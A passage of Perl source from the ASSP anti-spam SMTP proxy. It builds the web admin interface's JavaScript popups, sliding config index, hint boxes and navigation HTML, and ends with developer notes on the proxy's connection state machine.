  newwindow=window.open(
    \'addraction\'+link,
    \'AddressAction\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}

function popIPAction(ip)
{
  var height = 500 ;
  var link = ip ? \'?ip=\'+ip : \'\';
  newwindow=window.open(
    \'ipaction\'+link,
    \'IPAction\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}

function popSyncEditor(cfgParm)
{
  setAnchor(cfgParm);
  var height = 400;
  newwindow=window.open(
    \'syncedit?cfgparm=\'+cfgParm,
    \'SyncEditor\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}

function remember()
{
  var height =  580;
  newwindow=window.open(
    \'remember\',
    \'rememberMe\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=no,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}

window.onload = externalLinks;
// -->
</script>';

# JavaScript for alphabetic IndexMenu
 $JavaScript .= '
<style type="text/css" >
<!--
#smenu {background-color:#ffffff; text-align:left; font-size: 90%; border:1px solid #000099; z-Index:200; visibility:hidden; position:absolute; top:100px; left:-'.$IndexPos.'px; width:450px; height:700px;}
#sleftTop {width:420px; height:5%; float:left;font-size: 90%;color:#999999; font-family:arial, helvetica, sans-serif;overflow: hidden;}
#sleft {width:420px; height:94%; float:left;font-size: 90%;color:#999999; font-family:arial, helvetica, sans-serif;overflow-x: hidden;overflow-y: scroll;}
#sright {width:10px; height:99%; float:right;font-size: 90%;color:#999999; font-family:arial, helvetica, sans-serif;overflow: hidden;}
#sright a:link{text-decoration:none; color:#684f00; font-family:arial, helvetica, sans-serif;}
#sright a:visited{text-decoration:none; color:#684f00; font-family:arial, helvetica, sans-serif;}
#sright a:active{text-decoration:none; color:#684f00; font-family:arial, helvetica, sans-serif;}
#sright a:hover{text-decoration:underline; color:#999999; font-family:arial, helvetica, sans-serif;}
-->
</style>

<script type="text/javascript">
<!--
// Sliding Menu Script
// copyright Stephen Chapman, 6th July 2005
// you may copy this code but please keep the copyright notice as well
// ASSP implementation by Thomas Eckardt
var speed = 1;

function changeSlide() {
    var findText = xDOM(\'quickfind\').value;
    if (findText == \'**select**\') findText = \'\';
    var re;
    try {
        re = new RegExp(findText,"i");
        re.test(\'abc\');
    }
    catch(err) {
        alert(\'error in string (regex) : \'+err);
        return false;
    }
    var entries = xDOM(\'sleft\').getElementsByTagName(\'a\');
    for (var i=0; i<entries.length; i++) {
        var id=entries[i].id;
        if (! id) next;
        if (findText == \'\' || re.test(id.substr(3))) {
            setObjDisp(id,\'inline\');
        } else {
            setObjDisp(id,\'none\');
        }
    }
}

function ClientSize(HorW) {
  var myWidth = 0, myHeight = 0;
  if( typeof( window.innerWidth ) == \'number\' ) {
    //Non-IE
    myWidth = window.innerWidth;
    myHeight = window.innerHeight;
  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
    //IE 6+ in \'standards compliant mode\'
    myWidth = document.documentElement.clientWidth;
    myHeight = document.documentElement.clientHeight;
  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    //IE 4 compatible
    myWidth = document.body.clientWidth;
    myHeight = document.body.clientHeight;
  }
  return  HorW == \'w\' ?  myWidth : myHeight;
}

var aDOM = 0, ieDOM = 0, nsDOM = 0; var stdDOM = document.getElementById;
if (stdDOM) aDOM = 1; else {ieDOM = document.all; if (ieDOM) aDOM = 1; else {
var nsDOM = ((navigator.appName.indexOf(\'Netscape\') != -1)
&& (parseInt(navigator.appVersion) ==4)); if (nsDOM) aDOM = 1;}}

function xDOM(objectId, wS) {
  if (stdDOM) return wS ? document.getElementById(objectId).style : document.getElementById(objectId);
  if (ieDOM) return wS ? document.all[objectId].style : document.all[objectId];
  if (nsDOM) return document.layers[objectId];
}
function objWidth(objectID) {var obj = xDOM(objectID,0); if(obj.offsetWidth) return obj.offsetWidth; if (obj.clip) return obj.clip.width; return 0;}
function objHeight(objectID) {var obj = xDOM(objectID,0); if(obj.offsetHeight) return obj.offsetHeight; if (obj.clip) return obj.clip.height; return 0;}
function setObjVis(objectID,vis) {var objs = xDOM(objectID,1); objs.visibility = vis;}
function setObjDisp(objectID,disp) {var objs = xDOM(objectID,1); objs.display = disp;}
function moveObjTo(objectID,x,y) {var objs = xDOM(objectID,1); objs.left = x; objs.top = y;}
function pageWidth() {return window.innerWidth != null? window.innerWidth: document.body != null? document.body.clientWidth:null;}
function pageHeight() {return window.innerHeight != null? window.innerHeight: document.body != null? document.body.clientHeight:null;}
function posLeft() {return typeof window.pageXOffset != \'undefined\' ? window.pageXOffset: document.documentElement.scrollLeft?
 document.documentElement.scrollLeft: document.body.scrollLeft? document.body.scrollLeft:0;}

function posTop() {return typeof window.pageYOffset != \'undefined\' ? window.pageYOffset: document.documentElement.scrollTop?
 document.documentElement.scrollTop: document.body.scrollTop? document.body.scrollTop:0;}

var xxx = 0; var yyy = 0; var dist = distX = distY = 0; var stepx = '.$IndexSlideSpeed.'; var stepy = 0; var mn = \'smenu\';

function disableSlide() {setObjVis(mn,\'hidden\');}
function enableSlide() {setObjVis(mn,\'visible\');}
function distance(s,e) {return Math.abs(s-e)}
function direction(s,e) {return s>e?-1:1}
function rate(a,b) {return a<b?a/b:1}
function setHeight() {var objs = xDOM(mn,1); var h = ClientSize(\'h\'); objs.height = h*0.95 +\'px\';}
function start() {setHeight(); xxx = -'.$IndexStart.'; yyy = 0; var eX = 0; var eY = 100; dist = distX = distance(xxx,eX); distY = distance(yyy,eY); stepx *=
-direction(xxx,eX) * rate(distX,distY); stepy *= direction(yyy,eY) * rate(distY,distX); moveit(); setObjVis(mn,\'visible\');}

function moveit() {var x = (posLeft()+xxx) + \'px\'; var y = posTop() + \'px\'; moveObjTo(mn,x,y);}
function mover() {if (dist > 0) {xxx += stepx; yyy += stepy; dist -= Math.abs(stepx);} moveit(); setTimeout(\'mover()\',speed);}
function slide() {dist = distX; stepx = -stepx; moveit(); setTimeout(\'mover()\',speed*2);return false;}

onload = start;
window.onscroll = moveit;
// -->
</script>
';
# END JavaScript for alphabetic IndexMenu

#start JavaScript for HintBox
$JavaScript .= <<EOT;
<style type="text/css">

#hintbox{ /*CSS for pop up hint box */
position:absolute;
top: 0;
background-color: lightyellow;
width: 150px; /*Default width of hint.*/
padding: 3px;
border:1px solid black;
font:normal 11px Verdana;
line-height:18px;
z-index:300;
border-right: 3px solid black;
border-bottom: 3px solid black;
visibility: hidden;

table { table-layout:fixed; word-wrap:break-word; }
}
</style>
EOT

$JavaScript .= '
<script type="text/javascript">

/***********************************************
* Show Hint script- (c) Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for this script and 100s more.
*
* implemented in ASSP by Thomas Eckardt
***********************************************/

var horizontal_offset="0px" //horizontal offset of hint box from anchor link

/////No further editting needed

var vertical_offset="20px" //vertical offset of hint box from anchor link. No need to change.
var ie=document.all
var ns6=document.getElementById&&!document.all

function getposOffset(what, offsettype){
    var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
    var parentEl=what.offsetParent;
    while (parentEl!=null){
        totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
        parentEl=parentEl.offsetParent;
    }
    return totaloffset;
}

function iecompattest(){
    return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge, where){
    var edgeoffset=(whichedge=="rightedge")? (parseInt(horizontal_offset)-obj.offsetWidth*where/2)*-1 : parseInt(vertical_offset)*-1;
    if (whichedge=="rightedge"){
        var windowedge=ie && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-90 : window.pageXOffset+window.innerWidth-100;
        dropmenuobj.contentmeasure=dropmenuobj.offsetWidth;
        if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
            edgeoffset=dropmenuobj.contentmeasure+obj.offsetWidth/(where+1)+parseInt(horizontal_offset);
    } else {
        var windowedge=ie && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
        dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
        if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure)
            edgeoffset=dropmenuobj.contentmeasure-obj.offsetHeight+parseInt(vertical_offset)
    }
    return edgeoffset
}

function showhint(menucontents, obj, e, tipwidth, currLoc){
    if (document.getElementById("hintbox")){
        dropmenuobj=document.getElementById("hintbox")
        dropmenuobj.innerHTML=menucontents
        dropmenuobj.style.left=dropmenuobj.style.top=-500
        if (tipwidth!=""){
            dropmenuobj.widthobj=dropmenuobj.style
            dropmenuobj.widthobj.width=tipwidth
        }
        dropmenuobj.x=getposOffset(obj, "left")
        dropmenuobj.y=getposOffset(obj, "top");
        if (currLoc != "" && (ie||ns6)) {
            //var postop = ns6 ? 0 : posTop();
            var postop = 0;
            var objTop = yMousePos+postop+parseInt(vertical_offset);
            var Yedge=ie && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18;
            if (dropmenuobj.offsetHeight + objTop > Yedge) {
                dropmenuobj.style.top=objTop-dropmenuobj.offsetHeight+"px";
            } else {
                dropmenuobj.style.top=objTop+"px";
            }
        } else {
            dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge", 0)+"px";
        }
        if (currLoc != "") {
            dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge", 0)+obj.offsetWidth+"px";
        } else {
            dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge", 1)+obj.offsetWidth+"px";
        }
        //alert("x="+dropmenuobj.x+" , cb="+clearbrowseredge(obj, \'rightedge\')+" , offset="+obj.offsetWidth);
        //dropmenuobj.style.left=xMousePos+"px"
        dropmenuobj.style.visibility="visible"
        obj.onmouseout=hidetip
    }
}

function hidetip(e){
    dropmenuobj.style.visibility="hidden"
    dropmenuobj.style.left="-500px"
}

function createhintbox(){
    var divblock=document.createElement("div")
    divblock.setAttribute("id", "hintbox")
    document.body.appendChild(divblock)
}

if (window.addEventListener)
    window.addEventListener("load", createhintbox, false)
else if (window.attachEvent)
    window.attachEvent("onload", createhintbox)
else if (document.getElementById)
    window.onload=createhintbox

// Set Netscape up to run the "captureMousePosition" function whenever
// the mouse is moved. For Internet Explorer and Netscape 6, you can capture
// the movement a little easier.
if (document.layers) { // Netscape
    document.captureEvents(Event.MOUSEMOVE);
    document.onmousemove = captureMousePosition;
} else if (document.all) { // Internet Explorer
    document.onmousemove = captureMousePosition;
} else if (document.getElementById) { // Netcsape 6
    document.onmousemove = captureMousePosition;
}

// Global variables
xMousePos = 0; // Horizontal position of the mouse on the screen
yMousePos = 0; // Vertical position of the mouse on the screen
xMousePosMax = 0; // Width of the page
yMousePosMax = 0; // Height of the page

function captureMousePosition(e) {
    if (document.layers) {
        // When the page scrolls in Netscape, the event\'s mouse position
        // reflects the absolute position on the screen. innerHight/Width
        // is the position from the top/left of the screen that the user is
        // looking at. pageX/YOffset is the amount that the user has
        // scrolled into the page. So the values will be in relation to
        // each other as the total offsets into the page, no matter if
        // the user has scrolled or not.
        xMousePos = e.pageX;
        yMousePos = e.pageY;
        xMousePosMax = window.innerWidth+window.pageXOffset;
        yMousePosMax = window.innerHeight+window.pageYOffset;
    } else if (document.all) {
        // When the page scrolls in IE, the event\'s mouse position
        // reflects the position from the top/left of the screen the
        // user is looking at. scrollLeft/Top is the amount the user
        // has scrolled into the page. clientWidth/Height is the height/
        // width of the current page the user is looking at. So, to be
        // consistent with Netscape (above), add the scroll offsets to
        // both so we end up with an absolute value on the page, no
        // matter if the user has scrolled or not.

        if (window.event) {
            xMousePos = window.event.x+document.body.scrollLeft;
            yMousePos = window.event.y+document.body.scrollTop;
        } else {
            if (e) {};
        }
        xMousePosMax = document.body.clientWidth+document.body.scrollLeft;
        yMousePosMax = document.body.clientHeight+document.body.scrollTop;
    } else if (document.getElementById) {
        // Netscape 6 behaves the same as Netscape 4 in this regard
        xMousePos = e.pageX;
        yMousePos = e.pageY;
        xMousePosMax = window.innerWidth+window.pageXOffset;
        yMousePosMax = window.innerHeight+window.pageYOffset;
    }
}
function browserclose () {
    eraseCookie(\'lastAnchor\');
    confirm(\'please logout first ?\');
    return false;
}
if(window.addEventListener) {
    window.addEventListener("close", browserclose, false);
}

function changeTitle(title) {
    document.title = document.title.replace(/^\S+/ ,title);
}

function WaitDiv()
{
	document.getElementById(\'wait\').style.display = \'block\';
}

function WaitDivDel()
{
	document.getElementById(\'wait\').style.display = \'none\';
}
</script>
';
$JavaScript .= <<EOT;
<style type="text/css">
#wait {
	position: absolute;
	width: 350;
	heigth: 100;
	margin-left: 300;
	margin-top: 150;
	background-color: #FFF000;
	text-align: center;
	border: solid 1px #FFFFFF;
}
</style>
EOT
#end JavaScript for HintBox
 $headerHTTP = 'HTTP/1.1 200 OK
Content-type: text/html
Cache-control: no-cache
';
 $headerDTDStrict = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
';
 $headerDTDTransitional = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
';
 $headers = "<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">
<head>
  <meta http-equiv=\"content-type\" content=\"application/xhtml+xml; charset=utf-8\" />
  <title>Config ASSP ($myName) Host: $localhostname @ $localhostip</title>
  <link rel=\"stylesheet\" href=\"get?file=images/assp.css\" type=\"text/css\" />
  <link rel=\"shortcut icon\" href=\"get?file=images/favicon.ico\" />
$JavaScript
</head>
<body window.onunload=\"javascript:browserclose();\" window.onClose=\"javascript:browserclose();\"><a name=\"Top\"></a>
<div class=\"wait\" id=\"wait\" style=\"display: none;\">&nbsp;&nbsp; Please wait while loading... &nbsp;&nbsp;</div>
  <div id=\"smenu\"><div id=\"sleftTop\">&nbsp;
";

 for ("A"..."Z") {
 $headers .= "<a href=\"#$_\" onmousedown=\"gotoAnchor('$_');return false;\">$_&nbsp;</a>";
 }
 $headers .= "&nbsp;&nbsp;<input id=\"quickfind\" size=\"9\" value=\"**select**\" style=\"background:#eee none; color:#222; font-style: italic\" onfocus=\"if (this.value == '**select**') {this.value='';}\" onchange=\"changeSlide();\" >&nbsp;&nbsp;<img src=\"get?file=images/plusIcon.png\" onmouseover=\"showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>Select the values to show. The string is searched anywhere in the value names. A regular expression could be used.</td></tr></table>', this, event, '450px', ''); return true;\">&nbsp;&nbsp;&nbsp;<a href=\"javascript:void();\" onclick=\"xDOM('quickfind').value='';changeSlide();return false;\" onmouseover=\"showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>Click to reset view to default.</td></tr></table>', this, event, '450px', ''); return true;\"><img src=\"get?file=images/minusIcon.png\" ></a>\n<hr></div><div id=\"sleft\">\n";
my %Config1 = ();
niceConfig(); 
while (my ($k,$v) = each %Config) {
    $Config1{lc($k)} = $k;
}
my $firstChar = '';
my $hid;

foreach (sort keys %Config1) {
    my $k = $Config1{$_};
    my $name = uc($firstChar) ne uc(substr($k,0,1)) ? 'name="'.uc(substr($k,0,1)).'"' : '';
    $firstChar = uc(substr($k,0,1));
    
    my $value = $ConfigListBox{$k} ? $ConfigListBox{$k} : encodeHTMLEntities($Config{$k});
    $value =~ s/'|"|\n//go;
    $value =~ s/\\/\\\\/go;
    $value = '&nbsp;' unless $value;
    $value = 'ENCRYPTED' if exists $cryptConfigVars{$k} or $k eq 'webAdminPassword';
    my $default =  $ConfigDefault{$k};
#    mlog( '',"k : $k : $ConfigDefault{$k}" );

    $default = '' if $default eq undef;
    $headers .= "<a $name id=\"sl_$k\" href=\"./#$k\" onmousedown=\"expand(0, 1);showDisp('$ConfigPos{$k}');gotoAnchor('$k');slide();return false;\" onmouseover=\"window.status='$ConfigNice{$k}'; showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>config var:</td><td>$k</td></tr><tr><td>description:</td><td>$ConfigNice{$k}</td></tr><tr><td>current value:</td><td>$value</td></tr><tr><td>default value:</td><td>$default</td></tr></table>', this, event, '500px', 'index'); return true;\" onmouseout=\"window.status='';return true;\">&nbsp;<img src=\"$noIcon\" alt=\"$ConfigNice{$k}\" />&nbsp;$k<br /></a>\n";
}

  $headers .= "<br />&nbsp;<br />&nbsp;<br />&nbsp;<br />&nbsp;<br />&nbsp;</div><div id=\"sright\"><a href=\"#\" onclick=\"return slide();return false;\">";
  $headers .= "<img src=\"get?file=images/plusIcon.png\" alt=\"open and close alphabetical index\" /><br />&nbsp;<br \/>";
  $headers .= "<img src=\"get?file=images/minusIcon.png\" alt=\"open and close alphabetical index\" /><br />&nbsp;<br \/>";
  $headers .= "<img src=\"get?file=images/minusIcon.png\" alt=\"open and close alphabetical index\" /><br />&nbsp;<br \/>";
  $headers .= "<img src=\"get?file=images/plusIcon.png\" alt=\"open and close alphabetical index\" /><br />&nbsp;<br \/>";
# do not use spaces in $boardertext - instead use '#'
  my $boardertext = "sorted#config";
  $boardertext =~ s/([^#])/$1<br \/>/go;
  $boardertext =~ s/#/&nbsp;<br \/>/go;
  $headers .= "$boardertext<br />";
  $headers .= "<img src=\"get?file=images/plusIcon.png\" alt=\"open and close alphabetical index\" /><br />&nbsp;<br \/>";
  $headers .= "<img src=\"get?file=images/minusIcon.png\" alt=\"open and close alphabetical index\" /><br />&nbsp;<br \/>";
  $headers .= "<img src=\"get?file=images/minusIcon.png\" alt=\"open and close alphabetical index\" /><br />&nbsp;<br \/>";
  $headers .= "<img src=\"get?file=images/plusIcon.png\" alt=\"open and close alphabetical index\" /><br />&nbsp;<br \/>";
  $headers .= "</a></div></div>
<p>";
  $headers .= '<table id="TopMenu" class="contentFoot" style="margin:0; text-align:left;" CELLSPACING=0 CELLPADDING=4 WIDTH="100%">
  <tr><td rowspan="3" align="left">';
  if (-e "$base/images/logo.gif") {
      $headers .= "<a href=\"http://assp.sourceforge.net/\" target=\"_blank\"><img src=\"get?file=images/logo.gif\" alt=\"ASSP\" /></a>";
  } else {
      $headers .= "<a href=\"http://assp.sourceforge.net/\" target=\"_blank\"><img src=\"get?file=images/logo.jpg\" alt=\"ASSP\" /></a>";
  }
  $headers .= '</td>
  <td><a href="lists">&nbsp;</a></td>
  <td><a href="lists">&nbsp;</a></td>
  <td><a href="shutdown_list?nocache" target="_blank">&nbsp;</a></td>
  <td><a href="maillog' . $maillogEnd . '">&nbsp;</a></td>
  </tr><tr>';
  $headers .= 
  "<td><a href=\"http://www.magicvillage.de/~Fritz_Borgstedt/assp/CurrentASSPV1\" rel=\"external\" target=\"_blank\">ASSP Version: $version$modversion</a></td>";
  my $avv = "$availversion";
  my $stv = "$version$modversion";
  $avv =~ s/RC/\./gi;
  $stv =~ s/RC/\./gi;
  $avv =~ s/\s|\(|\)//gi;
  $stv =~ s/\s|\(|\)//gi;
  $avv =~ s/\.//gi;
  $stv =~ s/\.//gi;
  $headers .= "<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"$NewAsspURL\" target=\"_blank\" style=\"color:green;;font-size: 14px;font-family: 'Courier New',Courier,monospace;\">new available ASSP version $availversion</a>" if $avv gt $stv;
  my $webhost = $BlockReportHTTPName ? $BlockReportHTTPName : $localhostname ? $localhostname : 'please_define_BlockReportHTTPName';

$webhost =~ s/localhost/127\.0\.0\.1/i ;  
if ($AsASecondary && $webSecondaryPort) {

  	$webAdminPort  =~ s/\|.*//go;
  	$headers .= 
  "<td><a href='http://$webhost:$webAdminPort/lists' onmouseover=\"showhint('On Primary $webAdminPort', this, event, '200px', '');return false;\"><span class=positive>White/Redlist/Tuplets</span></a></td>
  <td><a href='http://$webhost:$webAdminPort/shutdown_list?nocache' target='connections' onmouseover=\"showhint('On Primary $webAdminPort', this, event, '200px', '');return false;\"><span class=positive>SMTP Connections</span></a></td>
  <td><a href='http://$webhost:$webSecondaryPort/maillog$maillogEnd ' onmouseover=\"showhint('On Secondary $webSecondaryPort', this, event, '200px', '');return false;\">View Maillog Tail</a></td>
  </tr><tr>";


  	$headers .= 
  "<td><span class=positive>Started: $starttime</span></td>

  <td><a href=http://$webhost:$webAdminPort/analyze onmouseover=\"showhint('On Primary $webAdminPort', this, event, '200px', '');return false;\"><span class=positive>Mail Analyzer</span></a></td>";
  
  
  	$headers .= "
  		<td><a href=http://$webhost:$webAdminPort/infostats onmouseover=\"showhint('On Primary $webAdminPort', this, event, '200px', '');return false;\"><span class=positive>Info and Stats</span></a></td>";

    $headers .=
  "<td><a href=http://$webhost:$webAdminPort/shutdown onmouseover=\"showhint('On Primary $webAdminPort, this, event, '200px', '');return false;\"><span class=positive>Shutdown/Restart</span></a></td></tr>
  </table>";
  	 
  } else { 
	&readSecondaryPID();
  	if ($SecondaryPid && $webSecondaryPort) {
		my $webPort = $webSecondaryPort;

  		$headers .= 
  		"<td><a href=lists>White/Redlist/Tuplets</a></td>
  		<td><a href=shutdown_list?nocache target=_blank>SMTP Connections</a></td>
  		<td><a href='http://$webhost:$webPort/maillog$maillogEnd ' onmouseover=\"showhint('On Secondary $webPort', this, event, '200px', '');return false;\"><span class=positive>View Maillog Tail</span></a></td>
  		</tr><tr>";
	} else {
		$headers .= 
  		'<td><a href="lists">White/Redlist/Tuplets</a></td>
  		<td><a href="shutdown_list?nocache" target="_blank">SMTP Connections</a></td>
  		<td><a href="maillog' . $maillogEnd . '">View Maillog Tail</a></td>
  		</tr><tr>';
	}
	
  	$headers .= 
  "<td><span class=pass>Started: $starttime</span></td>

  <td><a href=analyze>Mail Analyzer</a></td>";
  
  	$headers .= '
  		<td><a href=/infostats>Info and Stats</a></td>';

    $headers .=
  "<td><a href=shutdown>Shutdown/Restart</a></td></tr>
  </table>";
  }
  
  $headers =~ s/http:/https:/go if $enableWebAdminSSL && $CanUseIOSocketSSL;

  



    $headers .= "
<div class=\"navMenu\"";
    $headers .= ' id="navMenu" style="position:absolute"' if $EnableFloatingMenu;

    $headers .= "><div><div style=\"text-align: center;\">
  <a href=\"#\" onmousedown=\"expand(1, 1)\">Expand</a>&nbsp;
  <a href=\"#\" onmousedown=\"expand(0, 1)\">Collapse</a>&nbsp;
  <a href=\"#\" onmousedown=\"slide();return false;\">Index</a></div>
  <hr />
   <div class=\"rightButton\" style=\"text-align: center;\">
  <a href=\"javascript:void(0);\" onclick=\"remember();return false;\" onmouseover=\"showhint('open the remember me window', this, event, '200px', '');return false;\"><img height=12 width=12 src=\"$wikiinfo\" /></a>&nbsp;<input type=\"button\" value=\"Apply Changes\" onclick=\"document.forms['ASSPconfig'].theButtonX.value='Apply Changes';document.forms['ASSPconfig'].submit();return false;\" />
</div> 
<hr />


  <div class=\"menuLevel1\"><a href=\"/\"><img src=\"$plusIcon\" alt=\"plusicon\" /> Main</a><br /></div>";
	my $counter = 0;
    foreach my $c (@ConfigArray) {
        if ( @{$c} == 5 ) {
            $headers .=
"</div>\n  <div class=\"menuLevel2\">\n  <a onmousedown=\"toggleDisp('$counter')\">"
              . "<img id=\"treeIcon$counter\" src=\"$plusIcon\" alt=\"plusicon\" /> "
              . "$c->[4]</a>\n</div>\n<div id=\"treeElement$counter\" style=\"padding-left: 3px; display: block\">";
            $counter++;
        } else {
            $headers .=
"\n    <div class=\"menuLevel3\"><a href=\"./#$c->[0]\">$c->[0]</a></div>";
        }
    }
    my $runas = $AsAService ? '  service ' : $IsDaemon ? '  daemon' : ' console mode ';
    $runas = ' as Secondary' if $AsASecondary;
    my $user;
    $user = "  root /" if $< == 0 && $^O ne "MSWin32";

	$user = "  " . (getpwuid($<))[0] . " /" if $< != 0 && $^O ne "MSWin32";
    $headers .= "</div>
<div class=\"menuLevel1\">$NavMenu</div>

<hr />
<div class=\"menuLevel2\">
	<a href=\"#\" onclick=\"popAddressAction();\"><img src=\"$noIcon\" alt=\"#\" /> work with addresses</a><br />
  	<a href=\"#\" onclick=\"popIPAction();\"><img src=\"$noIcon\" alt=\"#\" /> work with IP\'s</a><br />
<hr />
	<a href=\"#\" onclick=\"return popFileEditor(\'/notes/confighistory.txt\',5); \"><img src=\"$noIcon\" alt=\"#\" /> Config History</a><br />
	<a href=\"#\" onclick=\"return popFileEditor(\'/notes/admininfo.txt\',5); \"><img src=\"$noIcon\" alt=\"#\" /> Email Interface</a><br />

	<a href=\"#\" onclick=\"return popFileEditor(\'/notes/configdefaults.txt\',8); \"><img src=\"$noIcon\" alt=\"#\" /> Non-Default Settings</a><br />
	<a href=\"#\" onclick=\"return popFileEditor(\'/assp.cfg.description.txt\',8);\"><img src=\"$noIcon\" alt=\"#\" /> Config Description</a><br />
	<a href=\"#\" onclick=\"return popFileEditor(\'/notes/whitelistadd.txt\',5); \"><img src=\"$noIcon\" alt=\"#\" /> Whitelist Additions</a><br />

	<hr />

	<span style=\"font-weight: bold;\">&nbsp;&nbsp;Current PID</span>: $mypid<br />
	&nbsp;&nbsp;$user$runas
	
	
</div>
<hr />
<div class=\"rightButton\" style=\"text-align: center;\">
  <a href=\"javascript:void(0);\" onclick=\"remember();return false;\" onmouseover=\"showhint('open the remember me window', this, event, '200px', '');return false;\"><img height=12 width=12 src=\"$wikiinfo\" /></a>&nbsp;<input type=\"button\" value=\"Apply Changes\" onclick=\"document.forms['ASSPconfig'].theButtonX.value='Apply Changes';document.forms['ASSPconfig'].submit();return false;\" />
</div>
<hr />
<div style=\"text-align: center;\">
  <span class=positive>Started: $starttime</span></div>
</div>
<script type=\"text/javascript\">
  <!--
  ";
    $headers .= 'JSFX_FloatDiv("navMenu",2,50,2,-2,2,99999).flt();'
      if $EnableFloatingMenu;
    if ($AutoUpdateASSPDev) {
    	$ChangeLogURL =  $ChangeLogURLDev;
    } else {
    	$ChangeLogURL =  $ChangeLogURLStable;
    } 
    $headers .= '
  expand(0,0);
  // -->
  </script>
  ';
    $footers = "
<div class=\"contentFoot\">
<a href=\"http://apps.sourceforge.net/mediawiki/assp/index.php?title=Getting_Started\" target=wiki>Getting Started</a> |
<a href=\"http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/\" rel=\"external\" target=\"_blank\">file archive</a> |
<a href=\"donations\" target=\"_blank\">kudos</a> |
<a href=\"http://assp.cvs.sourceforge.net/viewvc/assp/assp/\" rel=\"external\" target=\"_blank\">source</a> |
<a href=\"http://sourceforge.net/projects/assp/files/ASSP%20Installation/\" rel=\"external\" target=\"_blank\">downloads</a> |

<a href=\"http://assp.sourceforge.net/cgi-bin/assp_stats\" rel=\"external\" target=\"_blank\">global stats</a> |
<a href=\"http://apps.sourceforge.net/mediawiki/assp/index.php?title=ASSP_Documentation\" rel=\"external\" target=\"_blank\">docs</a> |
<a href=\"/docs/Documentation.htm>legacy-docs</a>| 
 <a href=\"http://sourceforge.net/mail/?group_id=69172\" rel=\"external\" target=\"_blank\">email lists</a> |

 <a href=\"http://apps.sourceforge.net/phpbb/assp/\" rel=\"external\" target=\"_blank\">community forums</a> |

 <a href=\"http://apps.sourceforge.net/mediawiki/assp/\" rel=\"external\" target=\"_blank\">wiki</a> 

</div>";
    $kudos = '
';

}

# Notes on general operation & program structure
# We using IO::Select, so don't make any changes that block for long
# as new connections come we create a pair of entries in a hash %Con
# based on the hash of the filehandle, so $Con{$fh} has data for this
# connection. $Con{$fh}->{friend} is the partner socket for the smtp proxy.
# ->{ip} is the ip address of the connecting client
# ->{relayok} tells if we can relay mail for this client
# ->{getline} is a pointer to a function that should be called whan a line of input is received for this filehandle
# ->{mailfrom} is the envelope sender (MAIL FROM: <address>)
# ->{outgoing} is a buffer for outgoing socket traffic (see $writable & &sendque)
# ->{rcpt} are the addresses from RCPT TO: <address> (space separated)
# ->{header} is where the header (and eventually the first 10000 bytes) are stored
# ->{myheader} is where we store our header, we merge it with client's header later
# ->{maillog} if present stream logging is enabled
# ->{maillogbuf} buffer for storing unwritten stream log while waiting for isspam decision
# ->{maillogfh} is the filehandle for logging lines to the maillog
# ->{mailloglength} is the length logged so far (we stop after 10000 bytes)
# ->{spamfound} is a flag used to signal if an email is determined to be spam.
# ->{maillength} is the same as mailloglength but is not reset.
#
# After connection the {getline} field functions like a state machine
# redirecting input to subsequent handlers
#
# whitebody -> getline
#   getbody ->
#     error -> (disconnects)
#     getline -> getheader ->
#       whitebody -> getline
#         error -> (disconnects)
#
# getline looks for MAIL FROM, RCPT TO, RSET
# getheader looks for a blank line then tests for whitelist / spamaddresses
# getbody looks for the . and calls isspam, the Bayesian spam test
# whitebody waits for . and redirects client to server
# error waits for . ignoring data from client (and finishes the maillog)
#
# the server has states like this:
#
# skipok -> reply
#
# skipok traps the 250 ok response from the NOOP Connection from
# reply echos server messages to the client
